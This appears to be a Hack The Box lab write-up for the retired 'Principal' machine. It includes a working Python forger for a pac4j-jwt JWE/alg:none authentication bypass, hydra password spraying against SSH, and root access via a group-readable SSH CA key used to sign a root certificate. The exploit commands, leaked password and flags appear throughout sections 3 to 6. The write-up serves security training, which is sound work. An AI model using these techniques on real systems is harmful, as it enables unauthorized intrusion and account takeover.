root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat principal.md
// writeups

Principal

12 Mar 2026 · 17 min read
Principal - maquina de Hack The Box

Executive summary — Principal exposes a Java (Jetty) app protected by pac4j-jwt 6.0.3, vulnerable to CVE-2026-29000: a bug in how JWE tokens are processed that lets an unsigned inner JWT (alg: none) slip through and get accepted anyway, granting ROLE_ADMIN with no credentials at all. The admin panel leaks an «encryptionKey» that is actually a real, reused password, which a password spray against SSH reveals for the svc-deploy service account. From there, the private key of an SSH certificate CA turns out to be readable by group — combined with a missing AuthorizedPrincipalsFile, that allows signing a certificate with principal=root and authenticating straight as root.

PlatformHack The Box
Operating systemLinux (Ubuntu 24.04.4 LTS)
DifficultyMedium
StatusRetired
Target IP10.129.244.220

Attack map

[8080] Principal Internal Platform — pac4j-jwt 6.0.3 (JWE)
   │  CVE-2026-29000 — unsigned inner JWT (alg:none) inside a valid JWE
   ▼
[BYPASS]  Forged admin authentication, no credentials
   │  /api/settings leaks an "encryptionKey" that is actually a real password
   ▼
[SSH]  Password spraying (hydra) → svc-deploy (user.txt)
   │  SSH certificate CA readable by the deployers group
   │  No AuthorizedPrincipalsFile → any signed principal maps to any system user
   ▼
[ROOT]  SSH certificate signed for principal=root

1. Reconnaissance

nmap -p- --min-rate 10000 -oN nmap_all_ports.txt 10.129.244.220
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
nmap -sCV -p 22,8080 -oN nmap_sCV.txt 10.129.244.220
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http-proxy Jetty
X-Powered-By: pac4j-jwt/6.0.3
Location: /login
http-title: Principal Internal Platform - Login

The X-Powered-By: pac4j-jwt/6.0.3 header is the key clue: it reveals the Java pac4j auth framework (JWT module), version 6.0.3, vulnerable to an authentication bypass in its JWE handling.

2. Web application enumeration

http://10.129.244.220:8080/ redirects to /login, a «Principal Internal Platform» page. Checking the source:

curl -s http://10.129.244.220:8080/login | grep -o 'src="[^"]*"'
# src="/static/js/app.js"

app.js explicitly documents the auth flow in its header comments:

/**
 * Authentication flow:
 * 1. User submits credentials to /api/auth/login
 * 2. Server returns encrypted JWT (JWE) token
 * 3. Token is stored and sent as Bearer token for subsequent requests
 *
 * Token handling:
 * - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM
 * - Public key available at /api/auth/jwks for token verification
 * - Inner JWT is signed with RS256
 *
 * JWT claims schema:
 *   sub   - username
 *   role  - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
 *   iss   - "principal-platform"
 *   iat   - issued at (epoch)
 *   exp   - expiration (epoch)
 */

This confirms this instance's real JWE algorithm (RSA-OAEP-256 + A128GCM), the API endpoints (/api/auth/login, /api/auth/jwks, /api/dashboard, /api/users, /api/settings), and that the token is sent as Authorization: Bearer <token> — no browser needed, curl/requests can talk to it directly.

curl -s http://10.129.244.220:8080/api/auth/jwks | jq .
{
  "keys": [
    {
      "kty": "RSA", "e": "AQAB", "kid": "enc-key-1",
      "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfS..."
    }
  ]
}

This n/e key is specific to this instance — every deployment generates its own RSA pair.

3. Foothold — CVE-2026-29000 (pac4j-jwt authentication bypass)

pac4j-jwt versions before 4.5.9/5.7.9/6.3.3 (this instance runs 6.0.3, vulnerable) have a bug in JwtAuthenticator when processing JWE («JSON Web Encryption») tokens: the server decrypts the JWE with its RSA private key, obtaining the inner JWT, and tries to parse it as a SignedJWT (signed with RS256). If that inner JWT uses alg: none (unsigned — just header and payload, no third part), parsing to SignedJWT silently fails and returns null. The server's signature check only runs if signedJWT != null — since it's null, that step is skipped entirely. The result: the server trusts the inner JWT's claims (including role) with no signature ever verified, because the one real security barrier never runs.

An attacker can build an inner JWT with alg: none and arbitrary claims (role: ROLE_ADMIN), wrap it in a valid JWE encrypted with the server's own RSA public key (exposed at /api/auth/jwks — meant to verify signatures of server-issued JWTs, but reusable here to encrypt toward the server), and the server decrypts it with its private key, gets the alg: none JWT, verifies nothing, and trusts the claims → full admin authentication with no credentials.

# forge_jwt.py
import base64, json, sys, requests
from jwcrypto import jwk, jwe
from datetime import datetime, timezone, timedelta

def create_jwt(sub, role):
    if role not in ["ROLE_ADMIN", "ROLE_MANAGER", "ROLE_USER"]:
        raise ValueError("Invalid Role")
    now = datetime.now(timezone.utc)
    claims = {
        "sub": sub, "role": role, "iss": "principal-platform",
        "iat": int(now.timestamp()), "exp": int((now + timedelta(hours=24)).timestamp()),
    }
    header = {"alg": "none"}
    def base64_url(data: bytes) -> str:
        return base64.urlsafe_b64encode(data).decode().rstrip("=")
    header_b64 = base64_url(json.dumps(header, separators=(",", ":")).encode())
    payload_b64 = base64_url(json.dumps(claims, separators=(",", ":")).encode())
    return f"{header_b64}.{payload_b64}."

host, port = "10.129.244.220", 8080
enc_alg = sys.argv[1] if len(sys.argv) > 1 else "A256GCM"
sub = sys.argv[2] if len(sys.argv) > 2 else "attacker"
role = sys.argv[3] if len(sys.argv) > 3 else "ROLE_ADMIN"

resp = requests.get(f'http://{host}:{port}/api/auth/jwks')
jwks = resp.json()
rsa_key = jwk.JWK(**[k for k in jwks["keys"] if k["kty"] == "RSA"][0])

jwt = create_jwt(sub=sub, role=role)
token = jwe.JWE(
    plaintext=jwt.encode(),
    protected=json.dumps({"alg": "RSA-OAEP-256", "enc": enc_alg}),
    recipient=rsa_key,
)
forged = token.serialize(compact=True)
print(forged)

The correct algorithm for this instance is A128GCM (confirmed by app.js and validated empirically — worked on the first try):

python3 forge_jwt.py A128GCM attacker ROLE_ADMIN > token_a128.txt
eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIn0.fB_z3g-_eDFj9PgYB9HsF0e...

4. Confirming the bypass — the admin dashboard

TOKEN=$(cat token_a128.txt)
curl -s http://10.129.244.220:8080/api/dashboard -H "Authorization: Bearer $TOKEN" -w "\nHTTP_CODE:%{http_code}\n"
{
  "user": {"username": "attacker", "role": "ROLE_ADMIN"},
  "stats": {"totalUsers": 8, "activeDeployments": 3, "systemHealth": "operational", ...},
  "recentActivity": [
    {"details": "SSH certificate issued for deploy-1735400000", "username": "svc-deploy", "action": "CERT_ISSUED", ...},
    {"details": "Successful login", "username": "amorales", "action": "LOGIN_SUCCESS", ...}
  ],
  "announcements": [
    {"severity": "warning", "title": "New SSH CA Rotation", "message": "SSH CA keys have been rotated. All deploy certificates issued before Dec 1 are revoked."}
  ]
}

Full bypass confirmed: the server accepted a token with arbitrary claims (sub: attacker, role: ROLE_ADMIN) with no real credentials at all. The activity log already hints at SSH certificates issued for svc-deploy.

curl -s http://10.129.244.220:8080/api/settings -H "Authorization: Bearer $TOKEN" | jq .
"security": {
  "authFramework": "pac4j-jwt", "authFrameworkVersion": "6.0.3",
  "jwtAlgorithm": "RS256", "jweAlgorithm": "RSA-OAEP-256", "jweEncryption": "A128GCM",
  "encryptionKey": "D3pl0y_$$H_Now42!", "tokenExpiry": "3600s",
  "sessionManagement": "stateless"
}
"infrastructure": {
  "sshCaPath": "/opt/principal/ssh/", "sshCertAuth": "enabled",
  "database": "H2 (embedded)",
  "notes": "SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config."
}

The encryptionKey field is actually a plaintext, reused password (D3pl0y_$$H_Now42!), mislabeled — a typical secret-hygiene mistake in this kind of box. The svc-deploy account is described as «Service account for automated deployments via SSH certificate auth.» — confirming the SSH certificate hint.

5. user.txt — password spraying against SSH

With the real usernames from /api/users and the reused password:

printf "admin\nsvc-deploy\njthompson\namorales\nbwright\nkkumar\nmwilson\nlzhang\n" > userlist.txt
hydra -L userlist.txt -p 'D3pl0y_$$H_Now42!' ssh://10.129.244.220 -t 4 -o hydra_result.txt
[22][ssh] host: 10.129.244.220   login: svc-deploy   password: D3pl0y_$$H_Now42!
1 of 1 target successfully completed, 1 valid password found
sshpass -p 'D3pl0y_$$H_Now42!' ssh svc-deploy@10.129.244.220 "id; cat ~/user.txt"
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
3190b24d33f5ae854ba02b0a9eaf7199

6. Privilege escalation — group-readable SSH CA (root.txt)

sudo -l
# sudo: a terminal is required to read the password; sudo: a password is required

svc-deploy has no passwordless sudo — ruled out quickly.

ls -la /opt/principal/
drwxr-xr-x 5 app  app       4096 Mar 11 04:22 app
drwxr-x--- 2 root root      4096 Mar 11 04:22 deploy
drwxr-x--- 2 root deployers 4096 Mar 11 04:22 ssh

svc-deploy belongs to the deployers group, and /opt/principal/ssh/ is owned by that group with 750 permissions — readable by it.

ls -la /opt/principal/ssh/
cat /opt/principal/ssh/README.txt
-rw-r----- 1 root deployers  288 Mar  5 21:05 README.txt
-rw-r----- 1 root deployers 3381 Mar  5 21:05 ca
-rw-r--r-- 1 root root       742 Mar  5 21:05 ca.pub

CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.

The CA's private key (ca, 3381 bytes) is readable by svc-deploy thanks to its deployers group membership — this is the key sshd uses to validate user certificates.

cat /etc/ssh/sshd_config.d/*.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub

Key points: TrustedUserCAKeys makes sshd trust any user certificate signed by this CA; there's no AuthorizedPrincipalsFile or AuthorizedPrincipalsCommand configured, so the certificate's «principal» maps directly to the system username (OpenSSH's default behavior with no principal mapping); and PermitRootLogin prohibit-password allows root login via public key/certificate. This combination is the escalation vulnerability: anyone who can read the CA's private key can sign a certificate with principal=root and authenticate as root.

ssh-keygen -t ed25519 -f root-ssh -N ''
sshpass -p 'D3pl0y_$$H_Now42!' scp root-ssh.pub svc-deploy@10.129.244.220:/tmp/root-ssh.pub

Signing the certificate on the remote box itself (svc-deploy has read access to the private CA and ssh-keygen available locally):

ssh-keygen -s /opt/principal/ssh/ca -I pwn -n root -V +52w /tmp/root-ssh.pub
Signed user key /tmp/root-ssh-cert.pub: id "pwn" serial 0 for root valid from 2026-07-29T17:52:00 to 2027-07-28T17:53:41
scp svc-deploy@10.129.244.220:/tmp/root-ssh-cert.pub root-ssh-cert.pub

ssh -i root-ssh -o CertificateFile=root-ssh-cert.pub root@10.129.244.220 "id; cat /root/root.txt"
uid=0(root) gid=0(root) groups=0(root)
99420f1241b46469ac89f2d2eeb905fb

Vulnerability summary

PhaseComponentVulnerabilityImpact
Footholdpac4j-jwt 6.0.3CVE-2026-29000 — unsigned inner JWT accepted inside a JWEAuthentication as ROLE_ADMIN with no credentials
Lateral movement/api/settings panel«encryptionKey» is actually a real, reused passwordValid password for multiple system users
AccessSSHPassword spraying with the leaked passwordAccess as svc-deploy (user.txt)
PrivEscSSH certificate CA (TrustedUserCAKeys)Group-readable private key + no AuthorizedPrincipalsFileCertificate signed for principal=root (root.txt)

Lessons learned

  • JWE is not the same as verified integrity: encrypting a token (confidentiality) doesn't replace signature verification (integrity/authenticity). The pac4j-jwt bug illustrates a recurring vulnerability pattern in JOSE libraries: when unwrapping a nested format (JWE → inner JWT) has an error path treated as «skip verification» instead of «reject», it opens a full bypass.
  • Public keys in a JWKS can be misused if the decryption logic doesn't also validate who produced the inner payload: here the public key —meant to verify signatures of server-issued JWTs— ended up usable by the attacker to encrypt payloads toward the server, because JWE with RSA-OAEP uses the recipient's public key, not the issuer's.
  • Secret reuse: a «Settings» panel that exposes what looks like a technical config key can actually be a reused service password — always worth trying any secret found against authentication services, without assuming it's just an innocuous internal detail.
  • SSH certificate CAs with no AuthorizedPrincipalsFile/AuthorizedPrincipalsCommand are extremely dangerous if the private key is readable by any low-privilege account: OpenSSH allows mapping certificates with an arbitrary principal to arbitrary system accounts if not explicitly restricted — «reading a CA's private key» equals «impersonating any user, including root».
  • Reusable pattern: «web app with JWT/JWE auth → known bypass CVE in the library → admin dashboard → secrets exposed in settings → SSH password spray → abuse of misconfigured certificate infrastructure → root» is a highly recognizable Medium-difficulty HTB pattern — for any X-Powered-By header with a library name and version, look up known CVEs for that specific library before brute force or generic enumeration.